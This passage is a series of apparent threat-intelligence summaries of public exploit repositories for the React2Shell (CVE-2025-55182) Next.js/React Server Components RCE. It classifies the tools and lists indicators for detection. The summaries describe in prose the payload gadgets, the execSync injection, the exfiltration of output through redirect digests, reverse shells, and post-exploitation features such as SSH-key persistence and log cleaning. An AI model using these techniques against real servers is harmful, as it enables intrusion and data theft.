React2Shell

Repository is a standalone Python exploit/assessment tool named ReactRCE-Scanner for the claimed CVE-2025-55182 affecting React Server Components. The repo contains one large primary code file (exploit.py), configuration (config.yaml), install scripts for Windows and Unix, dependency manifests, and a detailed README. The main capability set described and partially evidenced in code includes target fingerprinting, multi-stage verification, concurrent scanning, command execution, pseudo-interactive shell access, DNS-based exfiltration/verification, reporting, proxy support, and additional modes for DoS and persistence. The Python file is substantial (~71 KB) and includes CLI parsing, async execution, HTTP request handling via requests/urllib3, rich terminal UI support, configuration loading, fingerprinting models, and operational modes such as exec, shell, dos, and persist. This is not merely a detector: the code paths shown indicate active exploitation routines and post-exploitation-style features. No hardcoded victim URL/IP is embedded in the provided content; targets are operator-supplied at runtime. Notable repository inconsistencies exist (e.g., requirements.txt header references an unrelated LuaStorm/Apache CVE), but the main script and README are aligned around React/Next.js RCE exploitation. Overall, this appears to be an operational standalone exploit framework rather than a simple proof-of-concept.

This repository is a small standalone Python exploit for unauthenticated RCE against vulnerable Cal.com deployments. It contains two files: a README describing the vulnerability, affected versions, usage, and remediation; and a single executable script, exploit.py, which is the main entry point. The exploit targets Cal.com <= 5.9.8 by abusing vulnerable React Server Components / Next.js Flight deserialization behavior described as react2shell. The Python script sends a crafted multipart POST request to the supplied base URL with a Next-Action header and a malicious serialized object. The payload uses prototype-pollution and constructor gadgets (notably __proto__:then and constructor:constructor) to cause server-side evaluation of attacker-controlled JavaScript. That JavaScript imports Node's child_process module and invokes execSync. Capabilities are straightforward but effective: in command mode (-c/--cmd), it executes an arbitrary shell command on the target and extracts the output from the returned response body by regex-matching the digest field. In reverse shell mode (--shell HOST:PORT), it launches a detached bash reverse shell using /dev/tcp to connect back to the attacker. The reverse shell is hardcoded to bash semantics and assumes outbound connectivity from the target. Repository structure is minimal and purpose-built: no framework, no auxiliary modules, and no detection-only logic. The exploit is operational rather than just demonstrative because it includes working payload delivery and post-exploitation options, but payload customization is manual and limited to command strings or callback host:port arguments.

This repository is a small Next.js lab environment built to demonstrate CVE-2025-55182, a React Server Components / Flight deserialization issue leading to server-side JavaScript execution. The codebase itself is minimal: app/actions.js defines a server action, app/page.js exposes a form that triggers that action, and app/layout.js provides standard layout scaffolding. package.json runs the app in development mode on 0.0.0.0:3000, while package-lock.json pins vulnerable-looking dependencies including next 15.0.0 and react/react-dom 19.0.0. The actual exploit logic is not implemented as executable code in the repository; instead, the README contains the exploit analysis and a full proof-of-concept HTTP multipart request. That request targets the root path / with Next.js-specific headers and abuses React Flight serialization markers such as $1:constructor:constructor and $B1337. The described technique forges an internal Chunk-like object, poisons _response fields, and causes deserialization to resolve Function via prototype/property traversal. The payload then invokes process.mainModule.require('child_process').execSync(...) to achieve arbitrary command execution in the Node.js server process. Operationally, this is a proof-of-concept lab rather than a weaponized exploit toolkit. It demonstrates how a remote attacker can send a crafted POST request to a vulnerable Next.js/React Server Action endpoint and obtain RCE. The README also discusses detection ideas such as Snort and OSQuery, but the repository's primary purpose is educational reproduction of the vulnerability, not automated scanning or exploitation at scale.

This repository is a small standalone Python exploit containing one executable script (`exploit.py`) and a descriptive `README.md`. It is not part of a larger exploitation framework. The script targets CVE-2025-55182, described here as a React Server Components deserialization issue affecting vulnerable React/Next.js deployments. Core capability: the exploit sends a crafted multipart/form-data POST request to the target application's root path (`/`). The multipart body contains a malicious serialized structure intended to reach JavaScript constructor access and execute Node.js code via `child_process.execSync('id')`. The payload is hardcoded to run the Unix `id` command with a 5-second timeout. It then throws a `NEXT_REDIRECT` error whose `digest` field contains the command output, allowing the Python client to recover execution results by regex-parsing the HTTP response body. Operational behavior: the script supports single-target mode (`-u`) and bulk mode (`-f`). If a target is provided without a scheme, it automatically generates both `http://` and `https://` variants. It removes duplicates, disables TLS certificate verification, uses a 10-second timeout, and executes requests concurrently with a `ThreadPoolExecutor` using 30 worker threads. On success, it prints the target and extracted command output. It can also append results to a local output file and optionally POST result metadata (`time`, `target`, `status`, `command_output`) to a user-supplied remote log server. Repository structure is minimal and purpose-built: the README documents vulnerable versions, usage examples, and the exact HTTP request format; `exploit.py` implements argument parsing, target normalization, static headers, the exploit body, response parsing, optional logging, and multithreaded execution. Overall, this is an operational proof-of-concept RCE exploit with a fixed payload rather than a generalized framework module.

This repository is a small standalone Python proof-of-concept exploit for the claimed CVE-2025-55182 'React2Shell' issue. It contains two files: a README describing the alleged vulnerability, affected products, and usage, plus a single executable script, exploit.py, which is the only code file and clear entry point. The exploit's core capability is unauthenticated remote command execution against web applications exposing React Server Components / Flight-related endpoints. The script accepts a target URL, port, and arbitrary command, builds a JSON-encoded payload that imitates a React serialized object with a nested react.module.reference pointing at module 'os', and inserts the operator-supplied command into props.command. It then iterates over several hardcoded candidate endpoints (/_rsc/, /_flight/, /__rsc, /server-actions, /api/__rsc) and sends HTTP POST requests with Content-Type text/plain;charset=UTF-8. For each request it prints the HTTP status and the first 500 bytes of the response body. Structurally, the code is simple: craft_payload() creates the serialized body; exploit() constructs the base URL, sets headers, and POSTs to each candidate endpoint; main() parses CLI arguments and launches exploitation. There is no shell listener, staging logic, persistence, or framework integration. The payload is operator-controlled but basic and hardcoded in structure, so the repository is best classified as OPERATIONAL rather than weaponized. Notable limitations: the script does not verify vulnerability beyond observing responses, does not adapt payload format per framework/version, and relies on a speculative deserialization/import-hijack model described in comments and README. Even so, the code is clearly intended as an exploit rather than a detector, because it actively delivers a command-bearing payload to likely target endpoints.

This repository is a small standalone Python proof-of-concept exploit for CVE-2025-55182 ('React2Shell'). The repo contains only four files: a standard .gitignore, MIT LICENSE, README with usage/examples, and the main exploit script react2shell_exploit.py. The exploit is not part of a larger framework. The Python script uses requests to send a crafted multipart/form-data POST request to an operator-supplied target URL. Its core logic is split into two functions: react2shell_prepare_payload(), which base64-encodes the supplied shell command and embeds it into a malicious serialized form-data structure, and react2shell_run_exploit(), which transmits the payload with verify=False. The payload abuses a deserialization / object-manipulation primitive described in the README, setting fields such as __proto__:then and constructor:constructor and injecting a Node.js expression that calls process.mainModule.require('child_process').execSync(...). The command executed on the target is 'echo <base64> | base64 -d | bash', allowing arbitrary shell execution. Primary capability: unauthenticated or low-friction remote code execution against a vulnerable React/Next.js application endpoint, depending on target exposure. The exploit supports arbitrary operator commands, including reverse shells and simple command execution for validation. It does not include persistence, privilege escalation, lateral movement, or automated target discovery. Because it includes a working hardcoded execution primitive but relies on user-supplied commands, it is best classified as OPERATIONAL rather than a mere POC. Fingerprintable observables include the custom HTTP header 'Next-Action: x', multipart boundary '----X', the serialized gadget strings, and the Node.js child_process.execSync execution primitive. The README also includes example target and callback endpoints that are demonstrative rather than hardcoded operational infrastructure.

This repository is a Wails-based desktop exploit application for CVE-2025-55182, described as a Next.js RSC remote code execution issue. It is not just a detector: the Go backend in pkg/core/exploit.go implements the exploit transport and payload generation, while the React/TypeScript frontend provides a GUI for operators. Structure: main.go and app.go initialize the Wails desktop app and expose backend methods to the frontend. The frontend contains tabs for detection, command execution, raw JavaScript execution, and module loading. The core exploit logic lives in pkg/core/exploit.go, with helper code in pkg/utils/crypto.go and pkg/utils/encoding.go. Main exploit behavior: SendComplexPayload() builds crafted multipart/form-data requests intended to abuse the Next.js RSC processing chain. It supports two payload styles: 'Array Map Chain' and 'Prototype Chain'. The injected JavaScript is wrapped so that execution results are converted to strings/JSON and then exfiltrated by throwing a forged NEXT_REDIRECT error whose digest includes '/login?a=' + encodeURIComponent(res). This indicates the exploit expects the target to process the malicious RSC structure and leak output through redirect handling. Capabilities exposed in the GUI: DetectVulnerability() sends arithmetic probe '7*3+1' and expects '22'; on success it collects process.version, process.platform, and process.arch. ExecCommand() supports synchronous or asynchronous command execution. ExecJS() runs arbitrary JavaScript. LoadModule() invokes process.mainModule.require('module')._load(path). The backend code also includes file-system operations such as WriteFile(), and the truncated exploit.go clearly shows directory listing and file handling support using fs and JSON parsing of remote results. Evasion and transport features: the tool can Unicode-escape JSON strings, encode multipart fields as UTF-16LE, and wrap the JavaScript in an AES-256-CBC decrypt-and-eval stub. It also supports configurable HTTP/HTTPS/SOCKS5 proxying and disables TLS verification when verifySSL is false. Assessment: this is a real exploit tool with operational payload delivery and post-exploitation helpers, packaged as a desktop GUI. It targets vulnerable Next.js RSC endpoints over HTTP(S), and its most fingerprintable exploit artifact is the forged NEXT_REDIRECT digest containing the /login path and query parameter a for result exfiltration.

This repository is a real exploit toolkit for CVE-2025-55182, not just a detector. Its primary component is `react2shell.mjs`, a standalone Node.js exploit that crafts malicious multipart React Server Components / Next.js Server Actions requests to achieve unauthenticated RCE. The exploit sends POST requests directly to a supplied target URL with a `Next-Action` header and `multipart/form-data` body, abusing Flight protocol references such as `$1:__proto__:then` and `$1:constructor:constructor` to reach the JavaScript `Function` constructor. It then executes attacker-controlled JavaScript that invokes `child_process.execSync()` for command execution with output capture, or `child_process.spawn()` for detached/background execution. Capabilities in the main exploit include: single command execution (`-c`), blind execution (`--blind`), interactive pseudo-shell (`-i`), and binary deployment (`--deploy`). Deployment mode is more advanced than a simple PoC: it auto-selects or accepts an LHOST, starts a temporary HTTP server on the attacker side, instructs the target to download the binary via `curl`/`wget`, chmod it, and execute it detached so it survives the built-in 5-second synchronous execution timeout. Output is exfiltrated by parsing the RSC error `digest` field from the server response. The repository also contains a separate Bash scanner, `cve-2025-55182-check.sh`, which is a detection utility rather than the exploit itself. It tests one or more URLs using crafted multipart payloads and classifies targets based on HTTP behavior: 500 as vulnerable, 400 as patched, and 404 as not found. Additional detection templates are provided for Nuclei, Burp Suite, and OWASP ZAP under `templates/`. Supporting material includes `TECHNICAL.md`, which documents the exploit chain in detail; `poc/vuln-app/`, a deliberately vulnerable Next.js 15.0.0 / React 19.0.0 demo application exposing a server action; and `test/fixture/` plus `test/exploit.test.mjs`, which provide an automated integration-test environment validating command execution and deployment behavior against a local vulnerable instance. Overall, the repository is structured as a practical offensive toolkit with both exploitation and detection components centered on vulnerable Next.js/React Server Actions deployments.

This repository is a multi-file Python exploitation toolkit for a claimed Next.js Server Actions RCE issue labeled React2Shell / CVE-2025-55182, plus an intentionally vulnerable lab application. It is not just documentation: the repo contains working exploit orchestration, post-exploitation helpers, a reverse-shell listener, and a demo lab. Core structure: - react2shell_exploit.py: main exploit engine. It performs target page retrieval, JavaScript scraping, Action ID discovery, router-state handling, vulnerability checking, command execution, and reverse-shell generation/deployment. - interactive_shell.py: wraps the exploit engine in a cmd-based operator shell with execute/enum/escalate/upload/download/shell/info commands. - demo_exploit.py: scripted end-to-end attack chain from discovery to RCE, enumeration, privilege-escalation attempts, and proof-of-access commands. - reverse_shell_handler.py: TCP listener for incoming shells with PTY upgrade and file transfer helpers. - post_exploit/linux_enum.py: Linux enumeration module for users, groups, SUID/SGID binaries, writable paths, capabilities, kernel info, and Docker/container context. - post_exploit/priv_esc.py: automated privilege-escalation attempts using sudo, GTFOBins/SUID, writable /etc files, capabilities, and Docker socket abuse. - simple_test.py: direct proof-of-concept that extracts an executeCommand action ID from the lab page and invokes it with crafted headers and multipart form data. - lab/: intentionally vulnerable Next.js application and deployment artifacts (Dockerfile, docker-compose, Kubernetes manifest, setup scripts). Main exploit capability: The exploit targets a web application over HTTP, discovers Server Action identifiers from HTML/JS, then sends crafted requests using React/Next-specific headers such as RSC and Next-Action to invoke server-side actions. The intended outcome is arbitrary shell command execution on the Next.js server. The toolkit then expands this into interactive access, reverse shells, file transfer, and Linux post-exploitation. Target/lab details: The included lab is a Next.js 16.0.6 app with React/React DOM/react-server-dom-webpack 19.2.0, exposed on port 3000. Its app/actions.js intentionally exports executeCommand(command) and executeTask(taskData), both of which call child_process.exec on attacker-controlled input. That means the lab itself contains explicit command-execution backdoors, making exploitation straightforward even aside from the claimed framework/parser bug. Notable observables: - Primary target URL throughout docs and scripts: http://127.0.0.1:3000 - Reverse shell listener default: 0.0.0.0:4444 - Next.js-specific request indicators: RSC: 1 and Next-Action headers - Sensitive file targets and escalation paths: /etc/passwd, /etc/shadow, /etc/sudoers, /root, /var/run/docker.sock Assessment: This is a real exploit-oriented repository rather than a detector. It is best classified as OPERATIONAL: it includes hardcoded but functional payloading and post-exploitation logic, though it is not integrated into a major exploitation framework. One caveat is that the repository mixes a claimed Next.js vulnerability exploit with an intentionally vulnerable demo app that directly executes commands, so the lab proves command execution but does not by itself validate the underlying claimed CVE mechanics.

Small standalone Python proof-of-concept repository for CVE-2025-55182 ('React2Shell'). The repo contains only a license, a minimal README, and one executable script: react2shell.py. The script accepts a target URL and arbitrary command, builds a malicious multipart/form-data POST body, and sends it directly to the supplied target using the requests library with TLS verification disabled. The injected payload is JavaScript intended for a vulnerable server-side React/Next.js-like runtime: it abuses object/prototype manipulation fields and a crafted _response/_prefix structure to reach process.mainModule.require('child_process').execSync(), execute the attacker command, and convert stdout to a single-line string. It then throws a NEXT_REDIRECT-style error object so the application places the command output into a redirect destination (/login?a=<output>), which the exploit extracts from the X-Action-Redirect response header and prints. This is a real exploit rather than a detector: its primary capability is unauthenticated remote command execution with output retrieval. The code is concise, single-file, and operational, but not heavily weaponized or generalized beyond basic command execution.

Small standalone Go exploit repository with 3 files: MIT LICENSE, minimal README, and a single executable source file cve-2025-55182.go. The Go program is the sole entry point and implements an interactive RCE client for CVE-2025-55182, branded in the banner as 'React2Shell RCE'. It prompts the operator for a target URL, normalizes it to HTTP(S), performs a vulnerability check by sending a crafted multipart/form-data POST request, and then enters a loop that accepts arbitrary commands. Core exploit logic is split across four functions: payload() builds a malicious multipart body containing JavaScript intended for server-side evaluation; exploit() sends the POST request with TLS verification disabled and redirects suppressed; isVuln() tests exploitation using 'echo test' and checks whether the response contains an X-Action-Redirect header matching /login?a=; exec() sends operator-supplied commands and extracts command output from the redirect value. The payload abuses a JavaScript constructor/prototype chain and invokes process.mainModule.require('child_process').execSync(...) to run shell commands on the remote host. Output is encoded into a forced NEXT_REDIRECT digest targeting /login?a=<output>, then recovered from the response header. This is a real exploit rather than a detector-only script because it provides post-check command execution capability. It is operational but not heavily weaponized: payloads are hardcoded, target path is simply the supplied base URL, and there is no automation for mass scanning, persistence, or lateral movement. The main fingerprintable behaviors are POST requests to the target root URL, use of Next-Action and X-Nextjs-Request-Id headers, multipart form submission, and reliance on the X-Action-Redirect header containing /login?a= data.

Single-file Python exploit targeting CVE-2025-55182 in Next.js React Server Components. The repository contains one async script, CVE-2025-55182.py, which uses httpx to send a crafted multipart/form-data POST request to a user-supplied target URL with the Next-Action header set. The payload abuses server-side object/prototype manipulation fields and injects a Node.js expression into the _response._prefix field, ultimately invoking child_process.execSync on the server. The hardcoded command creates a FIFO at /tmp/f and launches a netcat-based reverse shell to attacker-supplied lhost/lport values. The exploit is not a scanner or detector; it is an operational unauthenticated RCE proof-of-concept with a built-in payload. Repository structure is minimal: one Python entry-point script, no framework integration, no auxiliary files, and no defensive checks or target validation logic.

Small standalone PoC repository with 2 files: one Python exploit script and one README. The main exploit file, CVE-2025-55182-React2Shell.py, uses Python requests to send a single crafted multipart/form-data POST request to a user-supplied target URL. The payload is structured as JSON fields intended to abuse React Server Components / Next.js Flight deserialization, including prototype-chain manipulation markers such as __proto__ and constructor references. The malicious object injects a JavaScript snippet into the _response._prefix field that calls process.mainModule.require('child_process').execSync(...) on the server. The hardcoded command launches a reverse shell using busybox netcat to the attacker-controlled LHOST on port 4444. The exploit is operational but basic: it has a fixed payload and no target validation, reliability checks, or alternate shell options beyond manual code editing. The README documents the claimed target as CVE-2025-55182 affecting React Server Components versions 19.0, 19.1.0, 19.1.1, and 19.2.0, with Next.js mentioned as an affected deployment context. Overall purpose: unauthenticated remote code execution against vulnerable Node.js/React server endpoints by sending one crafted HTTP request that triggers server-side command execution and a reverse shell callback.

This repository is a minimal proof-of-concept exploit consisting of two files: a short README naming 'React2Shell' and CVE-2025-55182, and a single raw HTTP request file named `react2shell`. The exploit is not source code in a traditional language but a crafted multipart/form-data POST request intended for replay through Burp Suite or a similar HTTP testing tool. The main capability is remote code execution against a vulnerable Next.js / React Server Components request handler. The request abuses specially structured form fields and object properties such as `__proto__` and `constructor:constructor`, indicating prototype/deserialization-style manipulation of server-side JavaScript objects. The injected JavaScript payload uses `process.mainModule.require('child_process').execSync('id', {'timeout':5000})` to execute a shell command on the server. It then throws a `NEXT_REDIRECT` error with the command output embedded in the `digest` field, which appears intended to leak execution results back in the HTTP response. Repository structure is extremely small and operational: there is no automation, scanner, or exploit framework integration. The `react2shell` file is the sole entry point and contains a complete replayable exploit request. The sample target is `localhost:3000` at path `/`, suggesting testing against a local development server, but the request can likely be adapted to any reachable vulnerable deployment. Because the payload is hardcoded to run `id` yet clearly demonstrates command execution and output retrieval, this is best classified as an operational exploit rather than a mere detection script.

Repository contains a Python-based scanner/exploit (`scanner.py`), dependency file, README, and a Dockerfile for building/running a vulnerable Next.js demo application. The core capability is exploitation of the claimed React2Shell / CVE-2025-55182 issue in React Server Components / Next.js Flight handling. The Python script is not just a passive detector: it builds multipart/form-data payloads intended to reach vulnerable server-side React/Next.js parsing logic and trigger JavaScript execution through crafted model fields (`__proto__`, `constructor:constructor`) and a `_prefix` snippet that calls Node.js `child_process.execSync`. The hardcoded commands are benign arithmetic checks for Unix-like and Windows targets, making this an operational PoC rather than a fully weaponized framework. Notable exploit features visible in the code include: host normalization, custom header parsing, multithreaded scanning with progress display, optional safe-check mode, optional Windows mode, optional WAF-bypass padding, and a dedicated Vercel WAF-bypass payload variant. The payload attempts to force a `NEXT_REDIRECT` and embed command output into `/login?a=${res}` so the scanner can infer successful code execution from HTTP behavior (README examples show 303 responses). This indicates the exploit relies on application-layer response side effects rather than an interactive shell. The README describes scanning single hosts or host lists, saving results, using custom headers/cookies, and targeting Windows. It also references a separate shell script (`datscan.sh` / `scanner.sh`) and a Nuclei template, but those files are not present in the repository, so the actionable code here is the Python scanner only. The Dockerfile appears unrelated to the Python scanner itself and is meant to containerize a vulnerable Next.js app for lab testing. Overall, the repository’s purpose is to validate and demonstrate pre-auth RCE against vulnerable React/Next.js deployments over HTTP(S), with both detection-oriented and active command-execution checks.

This repository is a small standalone proof-of-concept exploit for CVE-2025-55182, branded 'React2Shell'. It contains two files: a README with usage examples and one Python script, hehe.py, which is the actual exploit entry point. The script uses requests to send a crafted multipart/form-data POST request to a user-supplied target URL, disables TLS verification warnings, and parses the HTTP response for command output. The exploit’s core capability is remote command execution against a vulnerable Next.js/React Server Components server. It builds a malicious JSON structure embedded in multipart form fields that injects JavaScript into the server-side processing flow. The injected code calls process.mainModule.require('child_process').execSync(...) with an operator-controlled command and a 5-second timeout, converts the output to a string, and places that output into an error digest field by throwing a crafted NEXT_REDIRECT error object. The client then extracts the digest value from the response body using regex patterns and prints the recovered command output. Operationally, the script supports both one-shot execution and an interactive shell-like loop. In interactive mode it repeatedly accepts commands, sends them to the target, and prints returned output. It also includes convenience text showing reverse shell command examples, but it does not automatically deploy a reverse shell payload itself. Because the payload is operator-controlled but basic and hardcoded into the exploit logic, the maturity is best classified as OPERATIONAL rather than framework-grade weaponized. Notable request characteristics useful for fingerprinting include the custom Next.js-related headers Next-Action, X-Nextjs-Request-Id, and X-Nextjs-Html-Request-Id; a fixed multipart boundary string; and a browser-like User-Agent ending with Assetnote/1.0.0. The exploit targets a web/network attack surface and is clearly an exploit rather than a detector, README-only artifact, or fake sample.

This repository is a self-contained Dockerized CTF challenge that intentionally implements a Node.js/Express remote code execution flaw simulating CVE-2025-55182 in a React/Next.js-style server action flow. The core logic is in server.js, which starts an Express app on port 5555, parses multipart form data with multer, and on POST / reads form field "0" as JSON. It then extracts payload._response._prefix and passes it directly to eval(), creating a deliberate arbitrary JavaScript execution sink. The exploit capability is real within the challenge environment: an attacker can send a crafted multipart/form-data POST request to / containing a JSON object with _response._prefix set to malicious JavaScript. The walkthroughs demonstrate two main payload classes: (1) command execution using process.mainModule.require('child_process').execSync(...) and (2) a reverse shell using Node's net module plus child_process.spawn('/bin/sh', []). The server is designed to catch a thrown NEXT_REDIRECT error and reflect attacker-controlled data into X-Action-Redirect and Location headers, which serves as an exfiltration channel for command output. Repository structure: server.js contains the vulnerable backend and is the main exploit target; public/index.html is a themed fake login page with a hint about POST / and RSC headers; Dockerfile and docker-compose.yml package and expose the challenge on port 5555; package.json defines a minimal Express/multer app; README.md explains the challenge and vulnerability concept; WALKTHROUGH_EN.md and WALKTHROUGH_ES.md provide detailed exploitation steps and payload examples. This is not a detection script and not merely documentation—the repository contains runnable vulnerable code intended for exploitation practice.

Repository is a Python-based post-exploitation toolkit centered on CVE-2025-55182 ('React2Shell'), targeting vulnerable React Server Components / Next.js Server Actions deployments. The core exploit logic appears in exploit.py and hosts_scanner.py: both craft a multipart/form-data POST request with a malicious serialized object whose _response._prefix executes JavaScript on the server via process.mainModule.require('child_process').execSync(). Command output is base64-encoded and exfiltrated through redirect metadata, primarily /login?a=<data>, then decoded client-side. exploit.py provides single-target validation plus an interactive command shell; hosts_scanner.py performs concurrent bulk detection using only echo VULN_TEST and tracks results in files/vulnerable.txt and files/trash.txt. Repository structure: shodan_parser.py uses Playwright and Shodan credentials from .env to collect candidate HTTP(S) origins into files/targets.txt. universal_scanner.py is a broad enumeration utility that, once RCE is confirmed, gathers system, container, network, filesystem, credential, privilege-escalation, and process information and saves results to scan_results.json. The infrastructure/ directory contains helper scripts that extend the RCE channel into operational post-exploitation capabilities: universal_download.py downloads arbitrary remote files in resumable base64 chunks; mongo_proxy.py runs Node.js MongoDB queries through the compromised host; mongo_dump.py writes MongoDB dumps to /tmp and can expose them via python3 -m http.server on TCP/8000; aws_dump.py writes a Node.js script to /tmp and uses ECS credentials from 169.254.170.2 to inventory AWS resources; install_ssh_key.py appends a public key to ~/.ssh/authorized_keys for persistence; trace_cleaner.py removes /tmp artifacts, SSH keys, histories, caches, and attempts log cleanup. Notable operational characteristics: TLS verification is explicitly disabled (ssl=False) across HTTP requests; the exploit assumes Linux-like shell tooling and often Node.js/python3 on the target; helper scripts are clearly post-exploitation oriented rather than mere validation. This is not just a detector: it is a functional RCE toolkit with persistence, data access, cloud enumeration, and cleanup features.

This repository is a small standalone Python proof-of-concept exploit for CVE-2025-55182, containing one executable script (CVE-2025-55182.py), a README with vulnerability background and affected versions, and a minimal requirements.txt listing requests. The script is not part of a larger exploitation framework. The exploit targets pre-authentication remote code execution in React Server Components / Server Function handling. It sends crafted multipart/form-data POST requests to a user-supplied target URL. First, check_vulnerable() performs a non-RCE probe using specially structured React Flight payload fields intended to resolve Function through __proto__; a vulnerable target is inferred when the server returns HTTP 500 with Content-Type containing text/x-component and a React digest marker in the body. If the target appears vulnerable, or if --force is used, run_exploit() sends a second crafted payload that abuses deserialization/prototype resolution to reach JavaScript Function construction and execute Node.js code. The embedded JavaScript payload uses process.mainModule.require('child_process').execSync(...) to run an operator-supplied command with a timeout. The command output is converted to a string and deliberately thrown inside an Error object with a digest field so the script can recover the output from the HTTP response body using a regex and JSON parsing. This gives the operator direct command execution and output retrieval over HTTP. Repository structure is simple: the Python script handles CLI parsing, optional proxy/header/cookie support, vulnerability checking, exploitation, and output parsing. Logging helpers provide status messages. There is no persistence, lateral movement, or post-exploitation automation beyond arbitrary command execution. Overall, this is an operational RCE PoC with customizable command input but limited scope beyond single-command execution and response parsing.

Small standalone Python exploit repository with 2 files: a README and one executable script, react2Shell.py. The script is the main entry point and uses Python requests to send a crafted multipart/form-data POST request to a user-supplied target URL. The payload abuses a React Server Components / Next-Action deserialization/prototype-pollution style primitive to reach JavaScript's Function constructor and invoke process.mainModule.require('child_process').execSync(...), yielding remote command execution on the server. The exploit is operational rather than just a PoC because it accepts arbitrary operator-supplied commands and the README includes a working reverse-shell example. Notable implementation details: a hardcoded Host header of http://reactor.htb:3000, custom Next-Action header set to x, a fixed multipart boundary, and a JSON structure embedding the malicious _prefix expression. Repository purpose is straightforward: deliver unauthenticated RCE against an allegedly vulnerable Next.js 15.0.3 target associated with CVE-2025-55182, with example usage against reactor.htb and optional reverse shell callback to port 4444.

This repository is a compact standalone Python proof-of-concept exploit for unauthenticated remote code execution in React Server Components / Next.js Flight protocol handling, targeting CVE-2025-55182 and the downstream Next.js issue CVE-2025-66478. The repository contains four files: a README with vulnerability description and usage examples, a single executable exploit script (react2shell.py), a minimal requirements.txt listing requests, and a .gitignore. The main logic is in react2shell.py. It is a CLI tool that accepts a target URL and supports multiple modes: check, exec, shell, file, and revshell. The exploit constructs a malicious multipart/form-data request intended for a vulnerable React Flight endpoint. Based on the visible code and README, it abuses prototype-chain access during deserialization to reach the JavaScript Function constructor through crafted references such as $1:__proto__:then and $1:constructor:constructor. The payload is JavaScript executed in the target Node.js process. Capabilities include: (1) checking whether the target appears exploitable, (2) executing arbitrary shell commands via child_process.execSync, (3) reading arbitrary files via fs.readFileSync, (4) providing an interactive shell-like loop by repeatedly sending commands, and (5) launching a reverse shell using net.Socket and child_process.spawn with either /bin/sh or cmd.exe depending on platform. Output exfiltration is notable: instead of returning command output directly in the body, the script wraps the payload so it throws a NEXT_REDIRECT-style error whose digest causes Next.js to emit an x-action-redirect header containing a base64-encoded result in a query parameter. Fingerprintable indicators are limited because the exploit is operator-driven rather than hardcoded to a specific victim. The main network target is the user-supplied HTTP(S) base URL. The code defaults to adding http:// if no scheme is provided. It uses a default redirect path of /login for exfiltration, and reverse shell mode connects back to an operator-supplied <lhost>:<lport>. The exploit also references Next-Action and x-action-redirect headers and relies on multipart/form-data requests, all of which are useful behavioral indicators for detection. Overall, this is a real exploit rather than a detector. It is more than a basic PoC because it includes multiple post-exploitation actions and reusable operator modes, but it is still a standalone script rather than a framework module, so OPERATIONAL is the best fit.

This repository is a small standalone Ruby exploit tool named react2rubyshell (r2rs). It contains one substantive code file, r2rs.rb, plus a README, license, and gitignore. The script is not a framework module; it is a direct operator-facing exploit that targets a web-accessible vulnerable endpoint associated with CVE-2025-55182 / react2shell. The exploit’s core purpose is to turn a vulnerable HTTP endpoint into an interactive remote shell. The operator supplies a target host, hostname, or full URL, optionally with a port. The script normalizes the target, opens a persistent Net::HTTP connection, and repeatedly sends crafted multipart/form-data POST requests to the target URI. The malicious request body contains a JSON structure designed to abuse a server-side action flow: it injects JavaScript into a field named _prefix and uses process.mainModule.require('child_process').execSync(..., {shell:'/bin/sh', timeout:10000}) to run arbitrary shell commands on the remote host. Output handling is more than a simple one-shot PoC. For each command, the exploit generates a random marker, wraps the shell command so the marker appears before and after command output, and then parses the HTTP response for a "digest" field containing the exfiltrated result. This allows the tool to reliably extract command output from the server response. Before starting the interactive loop, it performs a validation step by echoing a random probe token and confirming that the token is returned. Once validated, the script provides an interactive Readline-based shell experience. It tracks remote context by querying user, hostname, current working directory, and HOME, then updates the prompt after each command. It also preserves a pseudo-session by prepending future commands with a cd into the last known remote working directory. This is not a true PTY, but it is an operational remote shell over HTTP suitable for arbitrary command execution and basic post-exploitation tasks. Repository structure is minimal: - README.md: usage, requirements, examples, and limitations. - r2rs.rb: full exploit implementation and CLI entry point. - LICENSE and .gitignore: ancillary files. Notable exploit characteristics: - Attack surface: web/network. - Transport: HTTP or HTTPS to an operator-specified target path. - Exploit primitive: server-side JavaScript injection leading to Node.js child_process command execution. - Result: interactive command execution with stdout/stderr capture and lightweight session context. - Limitations: no true PTY; TTY-sensitive programs may not work well. Overall, this is a real, functional exploit rather than a detector. It is best classified as OPERATIONAL because it delivers a working remote shell with a hardcoded exploitation method and interactive command loop, but it is not packaged as a larger reusable exploitation framework.

This repository is a small standalone Python exploit project centered on exploit.py, with a README and a minimal requirements.txt. The code is not part of a major exploitation framework. Its stated purpose is exploitation of CVE-2025-55182, described as a prototype-pollution-to-RCE issue affecting Next.js applications using React Server Components. The main capability implemented in the visible code is remote command execution over HTTP against a user-supplied target URL. The script accepts a target URL and either executes a single command (--cmd, default id) or launches a local browser-accessible interface (--web-cli). The local interface is served with Python's http.server/socketserver stack and presents a terminal-like HTML/JavaScript page. Commands entered in the browser are sent to a local endpoint (/run_cmd), which then invokes the exploit's core RCE routine against the remote target and returns the output for display. Based on the README and visible code/comments, the exploit works by sending a crafted payload to a vulnerable Next.js endpoint, abusing prototype pollution to influence internal server-side behavior and trigger Node.js child_process execution. Output is reportedly recovered from an error response field (digest). The exact remote vulnerable path and full request body are not visible in the provided truncated code, so no definitive remote application endpoint can be extracted from the snippet. Repository structure is simple: README.md documents usage and theory, exploit.py contains all exploit logic plus the local web UI server, and requirements.txt lists requests and dependencies. The exploit is operational rather than just a PoC because it includes usable command-execution functionality and an operator interface, but it does not appear weaponized or framework-integrated from the provided material.

This repository is a small standalone exploit repo containing one Python exploit script and a minimal README. The main file, CVE-2025-55182.py, is a command-line RCE exploit for CVE-2025-55182. It is not part of a larger exploitation framework. The exploit is structured around an ExploitConfig dataclass and an Exploit class. The class handles URL normalization, payload generation, vulnerability checking, command execution, interactive shell behavior, and batch scanning with threading. It uses requests for HTTP(S) communication, disables TLS warnings, rotates User-Agent strings, and supports configurable timeout, SSL verification disabling, and thread count. Core capability: the script builds a malicious JavaScript payload that is intended to execute on a vulnerable Node.js-backed web application. The payload calls child_process.execSync() with an operator-supplied command, captures stdout, base64-encodes it, and forces the application into a crafted NEXT_REDIRECT error/redirect flow. The encoded command output is embedded in a redirect to /login with query parameter a, which the exploit can recover and decode. This makes the exploit a true remote command execution tool rather than a detector. Operational modes visible in the script include: check-only mode using the test command 'id'; direct single-command execution; interactive shell mode; and batch scanning of targets from a file using a thread pool. The script prints status messages and can be used to validate vulnerability or repeatedly run arbitrary commands. Fingerprintable observables are limited because the target endpoint path appears to be dynamically crafted in truncated code, but the payload clearly references /login as the redirect sink for exfiltration. The exploit accepts arbitrary target base URLs over HTTP or HTTPS and defaults to HTTPS when no scheme is provided. No hardcoded IPs, domains, registry keys, or external C2 infrastructure are present. Overall, this is an operational standalone Python web exploit for unauthenticated or 